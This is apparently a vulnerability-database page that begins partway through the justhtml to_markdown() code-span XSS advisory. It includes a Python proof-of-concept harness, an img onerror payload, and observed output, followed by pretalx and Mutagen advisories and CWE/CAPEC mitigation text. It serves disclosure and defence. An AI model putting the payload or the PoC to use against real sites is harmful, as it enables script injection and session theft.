print(f" 1. input HTML : {html!r}")
print(f" 2. to_markdown() out : {md!r}")
print(f" 3. CommonMark render : {rendered.strip()!r}")
print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n")
return rendered, sinks
def prove_exec(rendered: str) -> None:
print("== --prove-exec (supplementary, container-only) ==")
sinks = live_sinks(rendered)
if not sinks:
print(" no sink to execute"); return
handler_js = sinks[0][2]
print(f" materialized handler JS: {handler_js!r}")
try:
import dukpy
except Exception:
print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire")
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--prove-exec", action="store_true")
args = ap.parse_args()
control, exploit = build_inputs()
print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
_, c_sinks = show("CONTROL (payload in <code>, NO blank line)", control)
ex_rendered, e_sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit)
ok = (not c_sinks) and bool(e_sinks)
print("== VERDICT ==")
print(" BYPASS CONFIRMED." if ok else " not reproduced")
if ok:
print(f" Sanitized code text became a LIVE element: {e_sinks[0]}")
print()
if ok and args.prove_exec:
prove_exec(ex_rendered)
return 0 if ok else 1
if __name__ == "__main__":
raise SystemExit(main())
Build and run:
docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc
Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):
=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0
Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.
== CONTROL (payload in <code>, NO blank line) ==
1. input HTML : '<code>q<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p><code>q<img src=x onerror=__POC_XSS_MARKER__()></code></p>'
4. live JS sinks : NONE (inert)
== EXPLOIT (payload in <code>, + blank line) ==
1. input HTML : '<code>q\n\n<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')]
== VERDICT ==
BYPASS CONFIRMED.
The blank line terminated the inline code span; sanitized code
text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
The control (no blank line) stayed inert inside <code>.
The exploit is byte-identical to the inert control plus a single blank line
(\n\n). Deterministic: same input → same result.
Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec)
— supplementary; the parse proof above is canonical. Inert marker only:
== --prove-exec (supplementary, container-only) ==
materialized handler JS: '__POC_XSS_MARKER__()'
JS engine result: 'XSS-EXECUTED' -> attacker JS executed
Impact
This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).
An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.
Severity: CVSS 3.1 6.1 (Moderate),
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.
Recommended fix
Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.
Resources
- CWE-79 — https://cwe.mitre.org/data/definitions/79.html
- CWE-116 — https://cwe.mitre.org/data/definitions/116.html
- Affected source (tag
v1.21.0):src/justhtml/node.py:32-41(_markdown_code_span),src/justhtml/node.py:1061-1078(<pre>/<code>dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
- Novelty: same vulnerability class as two prior, already-fixed
to_markdown()advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for<pre>code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged atv1.21.0, andorigin/main == v1.21.0(no embargoed fix).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.0"
},
"package": {
"ecosystem": "PyPI",
"name": "justhtml"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T17:35:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# justhtml: to_markdown() code-span blank-line breakout enables XSS\n\n### Summary\n\nIn `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `\u003ccode\u003e` text (and `\u003cpre\u003e` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\\n\\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown \u2014 yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**.\n\n### Details\n\n`to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies \"to the HTML produced by rendering that Markdown with a compliant Markdown renderer,\" and `SECURITY.md` promises `to_markdown()` \"escapes line-start Markdown markers that could change block structure\" and \"uses code fences long enough to contain backticks safely.\"\n\nThe inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:\n\n`src/justhtml/node.py:32-41` (tag `v1.21.0`):\n\n```python\ndef _markdown_code_span(s: str | None) -\u003e str:\n if s is None:\n s = \"\"\n # Use a backtick fence longer than any run of backticks inside.\n fence = _markdown_backtick_fence(s, minimum=1)\n # CommonMark requires a space if the content starts/ends with backticks.\n needs_space = s.startswith(\"`\") or s.endswith(\"`\")\n if needs_space:\n return f\"{fence} {s} {fence}\"\n return f\"{fence}{s}{fence}\"\n```\n\nThe element\u0027s text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper:\n\n`src/justhtml/node.py:1061-1078` (tag `v1.21.0`):\n\n```python\n if tag == \"pre\":\n code = current.to_text(separator=\"\", strip=False)\n if current_in_link:\n current_builder.raw(_markdown_code_span(code)) # inline path\n else:\n fence = _markdown_backtick_fence(code, minimum=3) # block path\n ...\n if tag == \"code\" and not current_preserve:\n current_builder.raw(_markdown_code_span(current.to_text(separator=\"\", strip=False)))\n```\n\nA Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown \u2014 independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `\u003cimg src=x onerror=...\u003e` becomes a live element.\n\nReachability with default settings: `JustHTML(html)` sanitizes by default; `\u003ccode\u003e` and `\u003cpre\u003e` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `\u0026lt;img \u2026\u0026gt;` enters the DOM as literal `\u003cimg \u2026\u003e` text while passing HTML sanitization.\n\nTwo in-repo asymmetries confirm this is an unguarded path rather than intended behavior:\n\n- **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `\u0026lt;img \u2026\u0026gt;` outside a code span is neutralized to `\u0026lt;img \u2026\u003e`. Inside a code span it is not escaped \u2014 the fence is assumed sufficient.\n- **`\u003cpre\u003e` outside a link uses a block fence** (`minimum=3`, line 1066), which a blank line cannot break. The same `\u003cpre\u003e` **inside a link** (line 1064) and all `\u003ccode\u003e` use the inline span, which a blank line breaks.\n\n### PoC\n\nSelf-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path.\n\n`Dockerfile`:\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /poc\nRUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \\\n \u0026\u0026 (pip install --no-cache-dir dukpy==0.5.0 || echo \"dukpy optional: skipped\")\nCOPY poc.py test.sh /poc/\nCMD [\"sh\", \"/poc/test.sh\"]\n```\n\n`poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: justhtml to_markdown() inline code-span blank-line breakout -\u003e XSS.\nAudited release: justhtml==1.21.0. Static by default (parses the rendered HTML;\nno JS executed). --prove-exec is an opt-in, container-only execution check.\"\"\"\nfrom __future__ import annotations\nimport argparse\nfrom html.parser import HTMLParser\nfrom justhtml import JustHTML\nfrom markdown_it import MarkdownIt\n\nMARKER = \"__POC_XSS_MARKER__\"\nPAYLOAD_TEXT = f\"\u003cimg src=x onerror={MARKER}()\u003e\"\nRENDER = MarkdownIt(\"commonmark\") # raw-HTML passthrough is the CommonMark default\n\n\ndef build_inputs() -\u003e tuple[str, str]:\n enc = PAYLOAD_TEXT.replace(\"\u003c\", \"\u0026lt;\").replace(\"\u003e\", \"\u0026gt;\")\n control = f\"\u003ccode\u003eq{enc}\u003c/code\u003e\" # no blank line -\u003e should stay inert\n exploit = f\"\u003ccode\u003eq\\n\\n{enc}\u003c/code\u003e\" # + one blank line -\u003e the whole exploit\n return control, exploit\n\n\ndef to_markdown(html: str) -\u003e str:\n return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True\n\n\nclass _SinkFinder(HTMLParser):\n def __init__(self) -\u003e None:\n super().__init__(); self.sinks: list[tuple[str, str, str]] = []\n def handle_starttag(self, tag, attrs):\n for name, val in attrs:\n if name.startswith(\"on\") and val and MARKER in val:\n self.sinks.append((tag, name, val))\n\n\ndef live_sinks(html: str):\n f = _SinkFinder(); f.feed(html); return f.sinks\n\n\ndef show(label: str, html: str):\n md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)\n print(f\"== {label} ==\")\n print(f\" 1. input HTML : {html!r}\")\n print(f\" 2. to_markdown() out : {md!r}\")\n print(f\" 3. CommonMark render : {rendered.strip()!r}\")\n print(f\" 4. live JS sinks : {sinks if sinks else \u0027NONE (inert)\u0027}\\n\")\n return rendered, sinks\n\n\ndef prove_exec(rendered: str) -\u003e None:\n print(\"== --prove-exec (supplementary, container-only) ==\")\n sinks = live_sinks(rendered)\n if not sinks:\n print(\" no sink to execute\"); return\n handler_js = sinks[0][2]\n print(f\" materialized handler JS: {handler_js!r}\")\n try:\n import dukpy\n except Exception:\n print(\" [skipped] optional \u0027dukpy\u0027 not installed; parse proof is canonical.\"); return\n result = dukpy.evaljs(f\"var fired=\u0027\u0027; function {MARKER}(){{ fired=\u0027XSS-EXECUTED\u0027; }} {handler_js}; fired;\")\n print(f\" JS engine result: {result!r} -\u003e attacker JS executed\" if result else \" JS did not fire\")\n\n\ndef main() -\u003e int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--prove-exec\", action=\"store_true\")\n args = ap.parse_args()\n control, exploit = build_inputs()\n print(\"Delta between control and exploit: exactly one blank line (\\\\n\\\\n).\\n\")\n _, c_sinks = show(\"CONTROL (payload in \u003ccode\u003e, NO blank line)\", control)\n ex_rendered, e_sinks = show(\"EXPLOIT (payload in \u003ccode\u003e, + blank line)\", exploit)\n ok = (not c_sinks) and bool(e_sinks)\n print(\"== VERDICT ==\")\n print(\" BYPASS CONFIRMED.\" if ok else \" not reproduced\")\n if ok:\n print(f\" Sanitized code text became a LIVE element: {e_sinks[0]}\")\n print()\n if ok and args.prove_exec:\n prove_exec(ex_rendered)\n return 0 if ok else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nBuild and run:\n\n```bash\ndocker build -t justhtml-md-poc ./poc\ndocker run --rm justhtml-md-poc\n```\n\nObserved output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`):\n\n```\n=== Versions under test ===\nName: justhtml\nVersion: 1.21.0\nName: markdown-it-py\nVersion: 4.2.0\n\nDelta between control and exploit: exactly one blank line (\\n\\n)\ninserted into otherwise identical \u003ccode\u003e text.\n\n== CONTROL (payload in \u003ccode\u003e, NO blank line) ==\n 1. input HTML : \u0027\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u0027\n 2. to_markdown() out : \u0027`q\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u0027\n 3. CommonMark render : \u0027\u003cp\u003e\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u003c/p\u003e\u0027\n 4. live JS sinks : NONE (inert)\n\n== EXPLOIT (payload in \u003ccode\u003e, + blank line) ==\n 1. input HTML : \u0027\u003ccode\u003eq\\n\\n\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u0027\n 2. to_markdown() out : \u0027`q\\n\\n\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u0027\n 3. CommonMark render : \u0027\u003cp\u003e`q\u003c/p\u003e\\n\u003cp\u003e\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u003c/p\u003e\u0027\n 4. live JS sinks : [(\u0027img\u0027, \u0027onerror\u0027, \u0027__POC_XSS_MARKER__()\u0027)]\n\n== VERDICT ==\n BYPASS CONFIRMED.\n The blank line terminated the inline code span; sanitized code\n text became a LIVE handler-bearing element: (\u0027img\u0027, \u0027onerror\u0027, \u0027__POC_XSS_MARKER__()\u0027)\n The control (no blank line) stayed inert inside \u003ccode\u003e.\n```\n\nThe exploit is byte-identical to the inert control plus a single blank line\n(`\\n\\n`). Deterministic: same input \u2192 same result.\n\nOptional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`)\n\u2014 supplementary; the parse proof above is canonical. Inert marker only:\n\n```\n== --prove-exec (supplementary, container-only) ==\n materialized handler JS: \u0027__POC_XSS_MARKER__()\u0027\n JS engine result: \u0027XSS-EXECUTED\u0027 -\u003e attacker JS executed\n```\n\n### Impact\n\nThis is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).\n\nAn attacker only needs to control HTML text inside a `\u003ccode\u003e` element, or a `\u003cpre\u003e` element within a link \u2014 no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.\n\nSeverity: CVSS 3.1 **6.1 (Moderate)**,\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.\n\n### Recommended fix\n\nDo not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `\u003ccode\u003e` and in-link `\u003cpre\u003e` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\\n`), emit it as a fenced code **block** \u2014 reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines \u2014 or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.\n\n### Resources\n\n- CWE-79 \u2014 https://cwe.mitre.org/data/definitions/79.html\n- CWE-116 \u2014 https://cwe.mitre.org/data/definitions/116.html\n- Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`), `src/justhtml/node.py:1061-1078` (`\u003cpre\u003e`/`\u003ccode\u003e` dispatch).\n- CommonMark spec \u2014 code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans\n- Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address\n (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `\u003cpre\u003e` code **blocks**. Neither addresses a **blank-line** break of an **inline** code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).",
"id": "GHSA-jf6w-2mvx-633j",
"modified": "2026-06-25T17:35:52Z",
"published": "2026-06-25T17:35:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-jf6w-2mvx-633j"
},
{
"type": "PACKAGE",
"url": "https://github.com/EmilStenstrom/justhtml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "justhtml: to_markdown() code-span blank-line breakout enables XSS"
}
GHSA-JM8C-9F3J-4378
Vulnerability from github – Published: 2026-04-18 01:11 – Updated: 2026-06-08 19:03An unauthenticated attacker can send arbitrary HTML-rendered emails from a pretalx instance's configured sender address by embedding malformed HTML or markdown link syntax in a user-controlled template placeholder such as the account display name. The most direct vector is the password-reset flow: the attacker registers an account with a malicious name, enters the victim's email address, and triggers a password reset. The resulting email is delivered from the event's legitimate sender address and passes SPF/DKIM/DMARC validation, making it a ready-made phishing vector.
The same class of bug affects every mail template that interpolates a user-controlled placeholder (speaker name, proposal title, biography, question answers, etc.), including organiser-triggered emails such as acceptance/rejection notifications.
Credits
Thanks go to Mark Fijneman for finding and reporting a subset of this issue, which alerted us to the wider vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pretalx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41426"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T01:11:19Z",
"nvd_published_at": "2026-04-24T20:16:27Z",
"severity": "MODERATE"
},
"details": "An unauthenticated attacker can send arbitrary HTML-rendered emails from a pretalx instance\u0027s configured sender address by embedding malformed HTML or markdown link syntax in a user-controlled template placeholder such as the account display name. The most direct vector is the password-reset flow: the attacker registers an account with a malicious name, enters the victim\u0027s email address, and triggers a password reset. The resulting email is delivered from the event\u0027s legitimate sender address and passes SPF/DKIM/DMARC validation, making it a ready-made phishing vector.\n\nThe same class of bug affects every mail template that interpolates a user-controlled placeholder (speaker name, proposal title, biography, question answers, etc.), including organiser-triggered emails such as acceptance/rejection notifications.\n\n### Credits\n\nThanks go to Mark Fijneman for finding and reporting a subset of this issue, which alerted us to the wider vulnerability.",
"id": "GHSA-jm8c-9f3j-4378",
"modified": "2026-06-08T19:03:12Z",
"published": "2026-04-18T01:11:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pretalx/pretalx/security/advisories/GHSA-jm8c-9f3j-4378"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41426"
},
{
"type": "PACKAGE",
"url": "https://github.com/pretalx/pretalx"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pretalx/PYSEC-2026-109.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "pretalx mail templates vulnerable to email injection via unescaped user-controlled placeholders"
}
GHSA-JMP2-WC4P-WFH2
Vulnerability from github – Published: 2023-05-05 02:25 – Updated: 2023-05-05 02:25Impact
Mutagen command line operations, as well as the log output from mutagen daemon run, are susceptible to control characters that could be provided by remote endpoints. This can cause terminal corruption, either intentional or unintentional, if these characters are present in error messages, file paths/names, and/or log output. This could be used as an attack vector if synchronizing with an untrusted remote endpoint, synchronizing files not under control of the user, or forwarding to/from an untrusted remote endpoint. On very old systems with terminals susceptible to issues such as CVE-2003-0069, the issue could theoretically cause code execution.
Patches
The problem has been patched in Mutagen v0.16.6 and v0.17.1. Earlier versions of Mutagen are no longer supported and will not be patched. Versions of Mutagen after v0.18.0 will also have the patch merged.
One caveat is that the templating functionality of Mutagen's list and monitor commands has been only partially patched. In particular, the json template function already provided escaping and no patching was necessary. However, raw template output has been left unescaped because this raw output may be necessary for commands which embed Mutagen. To aid these commands, a new shellSanitize template function has been added which provides control character neutralization in strings.
Workarounds
Avoiding synchronization of untrusted files or interaction with untrusted remote endpoints should mitigate any risk.
References
A similar issue can be seen in kubernetes/kubernetes#101695.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mutagen-io/mutagen"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mutagen-io/mutagen-compose"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mutagen-io/mutagen"
},
"ranges": [
{
"events": [
{
"introduced": "0.17.0"
},
{
"fixed": "0.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-30844"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-05T02:25:00Z",
"nvd_published_at": "2023-05-08T18:15:14Z",
"severity": "LOW"
},
"details": "### Impact\n\nMutagen command line operations, as well as the log output from `mutagen daemon run`, are susceptible to control characters that could be provided by remote endpoints. This can cause terminal corruption, either intentional or unintentional, if these characters are present in error messages, file paths/names, and/or log output. This could be used as an attack vector if synchronizing with an untrusted remote endpoint, synchronizing files not under control of the user, or forwarding to/from an untrusted remote endpoint. On very old systems with terminals susceptible to issues such as [CVE-2003-0069](https://nvd.nist.gov/vuln/detail/CVE-2003-0069), the issue could theoretically cause code execution.\n\n\n### Patches\n\nThe problem has been patched in Mutagen v0.16.6 and v0.17.1. Earlier versions of Mutagen are no longer supported and will not be patched. Versions of Mutagen after v0.18.0 will also have the patch merged.\n\nOne caveat is that the templating functionality of Mutagen\u0027s `list` and `monitor` commands has been only partially patched. In particular, the `json` template function already provided escaping and no patching was necessary. However, raw template output has been left unescaped because this raw output may be necessary for commands which embed Mutagen. To aid these commands, a new `shellSanitize` template function has been added which provides control character neutralization in strings.\n\n\n### Workarounds\n\nAvoiding synchronization of untrusted files or interaction with untrusted remote endpoints should mitigate any risk.\n\n\n### References\n\nA similar issue can be seen in kubernetes/kubernetes#101695.\n",
"id": "GHSA-jmp2-wc4p-wfh2",
"modified": "2023-05-05T02:25:00Z",
"published": "2023-05-05T02:25:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mutagen-io/mutagen/security/advisories/GHSA-jmp2-wc4p-wfh2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30844"
},
{
"type": "PACKAGE",
"url": "https://github.com/mutagen-io/mutagen"
},
{
"type": "WEB",
"url": "https://github.com/mutagen-io/mutagen/releases/tag/v0.16.6"
},
{
"type": "WEB",
"url": "https://github.com/mutagen-io/mutagen/releases/tag/v0.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mutagen list and monitor operations do not neutralize control characters in text controlled by remote endpoints"
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.